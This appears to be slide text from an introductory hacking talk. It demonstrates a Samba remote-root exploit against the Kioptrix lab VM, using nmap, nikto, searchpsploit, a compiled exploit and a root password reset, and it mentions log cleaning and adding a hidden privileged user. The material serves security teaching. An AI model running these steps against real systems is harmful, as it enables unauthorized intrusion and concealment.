Hacking Demo

By

Aaron Grothe

&

Matt Payne

November 13. 2020

Disclaimer

We're going to be talking about hacking and hacking techniques a bit.

Part of this will be showing an example of how someone might hack a box.

This is for informational purposes only. Please do not use anything you learn here today for bad.

Introduction

Hackers vs Crackers?

Hacking back in the early days of computing had positive connotations associated with it. Over the years it has been associated with bad things, instead of clever things.

Some people have tried to use the term Crackers to denote people who use hacking for bad purposes. Those people have been laughed at and have slinked away.

Hacking is a tool, how/why we use it defines whether it is good or bad.

Types of Hackers

Black Hat: People who do hacking for nefarious purposes, can be political, social, monetary. Follow few rules, can be on the wrong side of the law, may or may not have a "code"

White Hat: People who do hacking to help protect systems, follow rules of engagement, may try to preemptively prevent hacks.

Gray Hat: Somewhere in between. Usually have a code, might get on wrong side of the law. Aaron Swartz would probably be placed here.

All of the above groups may use the sames tools/techniques the difference being their motivations and how they use the

How does someone hack a machine

Typically breaks down into the following phases

- Recon
- Plan of attack
- Attack
- Attack cleanup

Recon

Recon is the act of getting information about your target.
Is it a machine/company, etc?

There are usually two phases here

Remote
Direct

Recon (Remote)

Tools such as recon-ng, bing, google, netcraft will be used to pull together information about your target.

Goals will be information such as IP ranges and domains used by company, email addresses, locations, operating systems, etc. Depending on depth can be quite a lengthy process.

If done correctly the user will have no idea that you’re collecting information on them and you’ll put together a decent amount of information to help you narrow things down.

Recon (Direct)

This is actually getting information from the site.

It may include things such as dns zone transfers, nmaps, etc.

The place you are doing recon on might detect this, so slow and steady is the way to go.

An nmap sweep of their entire public network at any decent company will trip a series of IDS and IPS warnings, a slow sweep not so much.

Plan of Attack

Now you have an idea of some of the machines you'll be interested in potentially going after.

Goal

Identify a weak target
Assemble Tools that you'll be using

Attack

This is using the tools against the target machine

How many compromises do you need?
What do you consider success?
When you are able to access the network is that enough?
etc
Leaving yourself a way back in.

This is usually the part they make look a lot more fascinating in the movies.

Post Attack Cleanup

This is the process of cleaning the logs on the machine to hide your presence.

Wtmp, /var/log/messages, etc.

There are tools that will do this for you.

One of the reasons it is nice to have all the logs from your machines dumped to a unified place like splunk, or sumologic.

Demo

So that was a high level summary of a hack

So now we're going to show a couple of parts of it.

We'll be using Kali Linux to reset the root password of a machine we don't know the password of.

The machine we'll be using is the Kioptix image from vulnhub.com

Demo (Cont’d)

Recon

So we need to find the open ports on the kioptix machine on my local network

```
# nmap -sV -T4 -O -F --version-light 192.168.0.112
```

Next we need to find the services on the machine

- -sV reports service versions
- -T4 aggressive (speed) setting
- -O Enables Operating System Detection
- -F Fast (so, limited -- only 100) port scan

Demo (Cont'd)

Recon (Cont'd)

So the options we're considering here are

- Ssh
- Http
- Rpcbind
- Netbios
- Https
- filenet

Demo (Cont’d)

Always got to love http

We’ll run nikto against it see what it comes back with

```
$ nikto -h 192.168.0.112
```

Lot of interesting stuff, but let’s keep going.

Demo (Cont’d)

Next up netbios/Samba

For this we’ll use an old friend of mine. Ubuntu 11.04

Why?

As Linux has gotten safer they’ve broken compatibility with certain unsafe protocols, versions of ssh don’t support certain ciphers, samba has dropped support for older versions etc. So having an old OS around is kind of nice

Demo (Cont'd)

Get Samba version

```
% smbclient --list=192.168.0.112
```

So now we have the version 2.2.1a

Demo (Cont'd)

Time to find an exploit

```
% searchsploit samba 2.2
```

Remote Code Exploit - That is what we're looking for :-)

Need to copy exploit to home directory

```
% cp /usr/share/exploitdb/exploits/multiple/remote/10.c ~/
```

Demo (Cont'd)

We'll spend a minute looking at the exploit

```
% vi 10.c
```

Need to compile it up

```
% gcc -o 10 10.c
```

See what the command line options are

```
% ./10
```

Demo (Cont'd)

Now it is time to run it

```
% ./10 -b=0 192.168.0.112
```

Have root what to do now?

Why not list the /etc/passwd for the system

```
cat /etc/passwd
```

Let's reset the root password on the box so we can get into it

```
passwd
```

Demo (Cont'd)

Now it is time to log in to the box

YES!!!

Caveats

- Keep in mind the defender has to protect all openings. All the attacker has to do is find one
    - The attacker can also chain attacks. E.g. bogus login->priv escalation->root is another path
- We have made no effort to hide our activity (our samba client activity was logged)
    - For example whoever tries to log in to the box is going to notice that the root password has changed
- If this was a real thing you'd add a user with privs to the system and be a lot more subtle.
- This is a very clumsy, yet effective hack. We did this partially to make sure people aren't going to try and replicate our activities

Demo Summary

That is a quick example of how a hack can go. More than likely an attacker is going to be using higher level tools such as Metasploit and so on to actually do an attack.

This has been an example of what we'd call a classic hack. The system wasn't correctly patched and we used that to Pwn the system.

With the IoT and systems not getting patched, see a big resurgence in this style.

A lot of today's hacking goes after problems with the applications running on the system.

How to Learn Hacking

One of the best tools to learn hacking is the OWASP tool Web Goat.

It is based around the OWASP Top 10 List: A couple of highlights

- Injections
- Broken auth
- Cross site scripting
- Using components with known vulnerabilities

Webgoat will get you a good background in this

How to Learn Hacking (Cont'd)

HackTheBox.eu - is a great resource that has free and commercial tiers. They offer virtual machines to pentest and learn with.

You have to "hack" their site to get to an invite. It is pretty easy, and they've got hints available.

Aaron spent a bit of time on this the other day and got his invite.

How to Learn Hacking (Cont'd)

Suggest you grab a Hacking ISO or VM image and build a VM with that

Kali Linux is well respected and is used by most people. It is also the distro used in "Mr. Robot" so it has to be good.

Other such as Parrot, Pentoo, and BlackArch are also interesting.

Kali Linux Revealed is a really nice introduction to Kali Linux do a google search for the following "kali linux revealed ext:pdf", to get a copy

How to Learn Hacking Cont'd

Vulnhub is a great source for hackable virtual machine images.

It is where I grabbed the Kioptix virtual machine from

They have a lot of boot2root images. Images where you boot them and try and get root on the box. A lot of them have multiple ways you can attack them.

Certifications

In terms of Hacking there are several certs that are pretty well accepted

OSCP - Offensive Security Certified Professional - by Offensive Security (the makers of Kali Linux/Metasploit) is a course followed by a 24-hour exam that requires you to hack multiple machines. Their motto is “Try Harder”, supposed to be a bear of a cert and has also recently been updated.

PenTest+ - from CompTIA - good exam, mostly multiple choice with some scenario questions. Aaron has this certification. Took the beta years ago.

Certifications (Cont'd)

Certified Ethical Hacker (CEH) - by the EC Council - is training combined with a certification exam.   Know several people who have this certification and have good things to say about it.

GIAC - by SANS has several specializations in the areas of pentesting/hacking. GIAC is liked by a lot of people.

Cybrary.it - has a Penetration Tester career path which combines training with their certification path. Parts of it are free and parts of it are fee-based. Have used some of their training in the past and it is pretty good.

Certifications (Cont'd)

Do I need a Certification to be a hacker? No, but it can help you if you don't have the work experience.

Also getting a certification will hopefully make sure you're exposed to all the parts of PenTesting.

Summary

PenTesting/Hacking are interesting.

Everybody knowing more about how it works will hopefully result in a more security aware internet.